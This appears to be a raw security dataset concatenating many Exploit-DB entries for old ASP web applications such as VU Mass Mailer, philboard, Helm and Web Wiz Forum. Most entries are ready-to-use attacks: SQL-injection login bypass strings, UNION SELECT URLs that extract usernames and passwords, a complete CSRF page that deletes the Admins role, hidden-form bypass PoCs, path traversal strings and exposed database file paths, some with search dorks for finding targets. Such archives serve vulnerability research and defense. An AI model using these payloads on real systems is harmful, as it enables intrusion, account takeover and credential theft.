deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13841
Description: VU Mass Mailer - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-06-12
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ###########################################       1
0                    I'm L0rd CrusAd3r member from Inj3ct0r Team       1
1                    ###########################################       0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:VU Mass Mailer Authentication Bypass
Code: ASP 3.0 & VBScript
Vendor url:http://www.vunet.us
Version:n/a
Price:80$
Published: 2010-06-12
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

VU Mass Mailer sends mass mail smartly. There is a time interval that
separates each email from being treated as mass mailing. Emails are stored
in a database provided. You can add, delete, and unsubscribe emails from
your list. Password protected. Great E-COMMERCE tool for anyone.
Requirements: web server (i.e. your hosted website) that supports ASP,
CDONTS, MS Access (common features on any web server).

#######################################################################################################################################################################################################

Vulnerability:

*Authentication Bypass found

The Provided Script as Sqli Vulnerability in Admin Login page


DEMO URL:

http://[site]/[path]/mailer/

Use the string a' or '1'='1 for Username and Password to gain access.


# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #30794
Description: VUNET Case Manager 3.4 - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-11-21
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/26523/info

VUNET Case Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VUNET Case Manager 3.4 is vulnerable; other versions may also be affected.

The following example password is available for the 'Login' page ('Default.asp'):

[CREDENTIAL_REDACTED]' OR 'x'='x
Exploit-DB #30793
Description: VUNET Mass Mailer - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-11-21
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/26522/info

Mass Mailer is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following proof-of-concept example is available:

Login Page (Default.asp)

[CREDENTIAL_REDACTED]' OR 'x'='x
Exploit-DB #15058
Description: VWD-CMS - Cross-Site Request Forgery
Type: webapps
Platform: asp
Date: 2010-09-20
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 


 
 
  Title            :  VWD-CMS CSRF Vulnerability
  Affected Version :  VWD-CMS version 2.1
  Discovery        :  www.abysssec.com
  Vendor	   :  http://www.vwd-cms.com/

  Demo  	   :  http://server/templates/Emerald.aspx
		      http://server/templates/balloonr.aspx

  Download Links   :  http://vwdcms.codeplex.com/
  
  Admin Page       :  http://Example.com/login.aspx
  
http://www.exploit-db.com/moaub-20-vwd-cms-csrf-vulnerability/
'''
 
1)CSRF :
===========================================================================================      
  The VWD-CMS have CSRF Vulnerability in order to remove any Role especially Admins Role. 
  With this Vulnerability you can navigate the admin to visit malicious site (when he is already logged in) 
  to remove a role.

 In this path a role could be removed::
        http://Example.com/VwdCms/Members/RoleEdit.aspx?delete=yes&role=RoleName
        (RoleName can be Admins or Members)
  
  here is HTML File with AJAX Code and with GET Method for this operation that is enough to Admin meet it.


The Source of HTML Page (Malicious Site) 
===========================================================================================     
  

<html>
<head>
<title >Wellcome to My Site!</title>
Hello!
...
...
...
This page remove Admins Role in VWD-CMS. 

<script>          
        function RemoveRole() {            
            try {
                netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
            } catch (e) {}

            var http = false;
            if (window.XMLHttpRequest) {
                http = new XMLHttpRequest();
            }
            else if (window.ActiveXObject) {
                http = new ActiveXObject("Microsoft.XMLHTTP");                
            }

            url = "http://server/VwdCms/Members/RoleEdit.aspx?delete=yes&role=Admins";
            http.onreadystatechange = done;
            http.open('GET', url, true);
            http.send(null);
        }
        function done() {
            if (http.readyState == 4 && http.status == 200) 
            {               
            }
        }     
</script>
</head>
<body onload ="RemoveRole();">
</body>
</html>



===========================================================================================
Exploit-DB #3905
Description: W1L3D4 philboard 0.2 - 'W1L3D4_bolum.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-05-11
Author: gsy

Exploit:
Discovered by: gsy & kerem125
Website: www.kerem125.com

script download:http://www.aspindir.com/indir2.asp?id=4891&sIslem=%DDndir

exploit:/W1L3D4_bolum.asp?forumid=-99+union+all+select+0,1,2,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+from+users

example:http://philboard.somee.com/W1L3D4_bolum.asp?forumid=-99+union+all+select+0,1,2,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+from+users

contact: by_gsy@hotmail.com & kerem125@kerem125.com
Special thx to:by_emr3 , ercu_145, bolivar, voltigore, mardinli, f10

# milw0rm.com [2007-05-11]
Exploit-DB #30382
Description: W1L3D4 philboard 0.3 - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-07-25
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/25055/info

W1L3D4 Philboard is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

W1L3D4 Philboard 0.3 is vulnerable; other versions are also affected. 

http://www.example.com/script_path/W1L3D4_aramasonuc.asp?searchterms=[XSS]
Exploit-DB #5475
Description: W1L3D4 philboard 1.0 - 'philboard_reply.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-04-20
Author: U238

Exploit:
Philboard W1L3D4 v1.0  Multiple SQL Ä°njection Vulnerable

Author : U238 

mail   : setuid.noexec0x1[aq]hotmail[dot]com

webpage: http://noexec.blogspot.com


Script : http://www.aspindir.com/Goster/4703

Script2: http://rapidshare.de/files/39107179/philboardtrge.zip.html

-_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_


[0x1] Exploit:

http://localhost:2222/lab/philboard/philboard_reply.asp?id=1+union+select+0,1,2,3,4,5,6,7,8,username,1,9,0,1,2+from+users

http://localhost:2222/lab/philboard/philboard_reply.asp?id=1+union+select+0,1,2,3,4,5,6,7,8,password,1,9,0,1,2+from+users

*
http://localhost:2222/lab/philboard/philboard_reply.asp?topic=1+union+select+0,username,2,3,4,5,6+from+users

http://localhost:2222/lab/philboard/philboard_reply.asp?topic=1+union+select+0,password,2,3,4,5,6+from+users



-----------------------


http://localhost:2222/lab/philboard/philboard_newtopic.asp?forumid=1+union+select+0,password,2,3,4,5+from+users

http://localhost:2222/lab/philboard/philboard_newtopic.asp?forumid=1+union+select+0,username,2,3,4,5+from+users


-_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_-

[0x2] Admin Panel


target/philboard/philboard_admin.asp





[0x3] Error File : 

philboard_newtopic.asp

philboard_reply.asp


[0x3] Error Code : 


id = Request.QueryString("id")

recordnum = Request.QueryString("recordnum")

sql = "SELECT replies.*, forums.*, topics.locked FROM (forums INNER JOIN topics ON forums.forumid = topics.forum) INNER JOIN replies ON topics.id = replies.root WHERE replies.id = " & id




                                     [-] Patched ? [-] 

id = Request.QueryString("id")
IF Not IsNumeric(request.querystring("id")) THEN
Response.write "sql injection mu arÄ±yon yawrucum,anam? !!" 
Response.End
END IF

* This Code  , application make to included error file.. 




------------------------------
[0x4] Greatz: The_BekiR - ka0x - Ferruh Mavituna - fahn - sersak

[0x5] U238 | Web - Designer Developer Solutions

-----------------------------

# milw0rm.com [2008-04-20]
Exploit-DB #4083
Description: W1L3D4 WEBmarket 0.1 - SQL Injection
Type: webapps
Platform: asp
Date: 2007-06-20
Author: Crackers_Child

Exploit:
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Title    : W1L3D4 WEBmarket v0,1 SQL Injection Vuln

Author   : Crackers_Child

Contact  : cybermilitan@hotmail.com

Bug      : in urunbak.asp

Down     : http://www.aspdestek.net/uploads/20070518_092540_webmarket.rar
Site     :

Exploit  : http://site.com/script_path/urunbak.asp?id=25+union+select+0,1,parola,3,4,5,6+from+ayar

Note     : [ Aq Mahkemelik Oldk daha ne olsn :) (ci) ] [ cRA 2 Ay YOK sAhalarda]

www.dosyacek.com

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 

# milw0rm.com [2007-06-20]
Exploit-DB #24420
Description: Web Animations Password Protect - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2004-08-31
Author: Criolabs

Exploit:
source: https://www.securityfocus.com/bid/11073/info

Password Protect is reported prone to a multiple cross-site scripting and SQL injection vulnerabilities. These issues occur due to insufficient sanitization of user-supplied input. Successful exploitation of these issues may result in arbitrary HTML and script code execution and/or compromise of the underlying database.

It is reported that these issues could be exploited to gain unauthorized administrative access to the application.

All versions of Password Protect are considered vulnerable to these issues. 

SQL injection

/adminSection/index_next.asp?admin = (SQLInjection) Pass = (SQLInjection)

/adminSection/ChangePassword.asp?LoginId=(SQLInjection) OPass=(SQLInjection) NPass=(SQLInjection) CPass=(SQLInjection)

Cross-site scripting:
/adminSection/index.asp?ShowMsg=(XSS)
/adminSection/ChangePassword.asp?ShowMsg=(XSS)
/adminSection/users_list.asp?ShowMsg=(XSS)
/adminSection/users_add.asp?ShowMsg=(XSS)
Exploit-DB #10794
Description: Web Calendar - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-30
Author: RENO

Exploit:
---------------------------------------
WEB Calendar(calendar35.mdb) Remote Database Disclosure Vulnerability
---------------------------------------

 #####################################################
 # [+] Author        :  RENO                         #
 # [+] Email         :  R7e@HoTMaiL.coM              #
 # [+] Site :  www.vxx9.cc                           #
 # [+] Team :  SauDi ViRuS TeaM                      #
 # [+] Dork : search for it :p                       #
 # [+] Script : WEB Calendar                         #
 #####################################################

vuln. in :

http://server/path/Calendar_36/database/calendar35.mdb


good luck :D

Thanks to : Allah ..


Greets : ! BaD BoY ! , Dr.php , Jetli007 , Gov.Hacker , AnTi SeCuRe , Dr.$audi , All Vxx9.Cc Members
Exploit-DB #27487
Description: Web Host Automation Ltd. Helm 3.2.10 Beta - 'default.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17263/info
 
Helm is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 
 
A beta version of 3.2.10 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/helmonlinehelp/default.asp?categoryID=24&UserLevel=2&SearchText=[XSS]
http://www.example.com/helmonlinehelp/default.asp?categoryID=24&UserLevel=[XSS]
Exploit-DB #27486
Description: Web Host Automation Ltd. Helm 3.2.10 Beta - 'domains.asp?txtDomainName' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17263/info

Helm is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

A beta version of 3.2.10 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/interfaces/standard/domains.asp?txtDomainName=[XSS]
Exploit-DB #27079
Description: Web Host Automation Ltd. Helm 3.2.8 - 'ForgotPassword.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-01-13
Author: M.Neset KABAKLI

Exploit:
source: https://www.securityfocus.com/bid/16234/info

Helm is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.2.8 is reported vulnerable; other versions may also be affected.

http://www.example.com/forgotPassword.asp?txtEmailAddress=[XSS]
Exploit-DB #30938
Description: Web Sihirbazi 5.1.1 - 'default.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2007-12-24
Author: bypass

Exploit:
source: https://www.securityfocus.com/bid/27031/info

Web Sihirbazi is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

These issues affect Web Sihirbazi 5.1.1; other versions may also be affected.

http://www.example.com/[script_path]/default.asp?page=news&id=-2+union+all+select+0,kullaniciadi,sifre,3+from+user http://www.example.com/[script_path]/default.asp?pageid=-7+union+all+select+0,1,2,kullaniciadi,sifre,5+from+user
Exploit-DB #31055
Description: Web Wiz (Multiple Products) - Remote Information Disclosure
Type: webapps
Platform: asp
Date: 2008-01-23
Author: AmnPardaz

Exploit:
source: https://www.securityfocus.com/bid/27419/info

Web Wiz Forums, NewsPad, and Rich Text Editor are prone to a remote information-disclosure vulnerability because they fail to properly sanitize user-supplied input.

An attacker can exploit this issue to retrieve arbitrary files in the context of the webserver process. Information obtained may aid in further attacks; other attacks are also possible.

This issue affects Forums 9.07, NewsPad 1.02, and Rich Text Editor 4.0; other versions may also be vulnerable. 

http://www.example.com/RTE_file_browser.asp?look=&sub=\.....\\\.....\\\.....\\http://www.example.com/RTE_file_browser.asp?look=save&sub=\.....\\\.....\\\.....\\\.....\\\.....\\\
Exploit-DB #26991
Description: Web Wiz (Multiple Products) - SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-30
Author: DevilBox

Exploit:
source: https://www.securityfocus.com/bid/16085/info

Multiple Products by Web Wiz are prone to an SQL injection vulnerability.

Successful exploitation can allow an attacker to bypass authentication and gain unauthorized access to a site.

Attacks may also result in disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Web Wiz Site News 3.06 for Access 2000 and Access 97, Web Wiz Journal 1.0 for Access 2000 and Access 97, Web Wiz Polls 3.06 for Access 2000 and Access 97, Web Wiz Database Login 1.71 for Access 2000 and Access 97 are vulnerable to this issue. Prior versions are reportedly affected as well. 

<html>
<h1>WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory </h1>
<p> Discovery and exploit by devil_box [at} kapda.ir</p>
<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers
Institute
of Iran</a></p>
<form method="POST" action="http://www.example.com/[product]/check_user.asp">
<input type="hidden" name="txtUserName" value="[SQL INJECTION]">
<input type="hidden" name="txtUserPass" value="1">
<input type="submit" value="Submit" name="submit">
</form></html>

<html>
<h1>WebWiz Login Bypass PoC - Database login - Kapda `s advisory </h1>
<p> Discovery and exploit by devil_box [at} kapda.ir</p>
<p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers
Institute
of Iran</a></p>
<form method="POST" action="http://www.example.com/[product]/check_user.asp">
<input type="hidden" name="txtUserName" value="[SQL INJECTION]">
<input type="hidden" name="txtUserPass" value="1">
<input type="submit" value="Submit" name="submit">
</form></html>
Exploit-DB #17036
Description: Web Wiz Forum - Injection
Type: webapps
Platform: asp
Date: 2011-03-23
Author: eXeSoul

Exploit:
##################################################################
# Title : Web Wiz Forum Injection Vulnerability
#
# Author: eXeSoul
#
# Home  : www.indishell.in or www.andhrahackers.com
#
# Email : exe.soul@live.com
#
# date  : 23/3/2011
# 
# D0rk  : [i]   Powered by Web Wiz Forums  
#         
#
# category  : Web Apps [SQli]
#        
################################################################## 
################################################################## 
#
#
#
#    Go To Site :-
# 
#    
#   
#    *SQL injection Vulnerability*
#
#
# 
#
#      [+]http://site.com/default.asp?pid=524'
#      [+]http://site.com/default.asp?pid=[SQLi]
#      [+]http://site.com/viewproduct.asp?PID=130'
#      [+]http://site.com/viewproduct.asp?PID=[SQli]
#
#
#     => PROUD TO BE AN INDIAN | Anythning for INDIA | JAI-HIND | Maa Tujhe Salam
#
#     => c0d3 for motherland, h4ck for motherland
#
# 
#    
#    [#] DOne now time to rock \m/
#
#    
#
#################################################################### 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
<3 Love: -[SiLeNtp0is0n]-, stRaNgEr(lucky), inX_rOot, NEO H4cK3R, DarkL00k, Th3 RDX, 
G00g!3 W@rr!0r, Nazz ,r45c4l, str1k3r, co0Lt04d , ATUL DWIVEDI , Jackh4xor , Bon3 ,
Badboy-Albinia, Mr.SK , I-H Guru,X__HMG, AK-47, [ICW] [Andhra Hackers], Ethical N00b,
[Indishell crew]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
####################################################################
#
#  Bug discovered : 23 March 2011
####################################################################
#
# Jay Mahadev.!!  Jay shree Ram.!! jay Shree krishna.!! Jay hind.!!
#
####################################################################
#
#
# 1337day.com [23-3-2011]
####################################################################
Exploit-DB #22507
Description: Web Wiz Forum 6.34 - Information Disclosure
Type: webapps
Platform: asp
Date: 2003-04-17
Author: Uziel aka nuJIurpuM

Exploit:
source: https://www.securityfocus.com/bid/7380/info

Web Wiz Forum has been reported prone to sensitive information disclosure vulnerability.

An attacker may make a request for and download the underlying Access database file that is used by the Forum application. Sensitive information that is contained in the database and stored in plaintext format may be revealed to the attacker.

Information collected in this way may be used to aid in further attacks against the system.

It should be noted that all versions of Web Wiz Forums have been reported prone to this vulnerability. 

http://www.example.com/forum/admin/wwforum.mdb
Exploit-DB #23331
Description: Web Wiz Forum 6.34/7.0/7.5 - Unauthorized Private Forum Access
Type: webapps
Platform: asp
Date: 2003-11-03
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/8957/info

A vulnerability has been reported in Web Wiz Forum that could allow unauthorized access to private forums. The problem occurs when handling malformed requests that make use of 'quote' mode. When this mode is used, Web Wiz Forum will allegedly fail to carry out sufficient checks between the requested forum and message. As a result, an attacker could potentially read or write to a private forum.

http://www.example.com/post_message_form.asp?mode=quote&PID=1111&FID=1&TID=11&TPN=1
Exploit-DB #28869
Description: Web Wiz Forum 6.34/7.x - 'search.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-10-28
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/20778/info

Web Wiz Forum is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/forum/search.asp?KW=|SQL|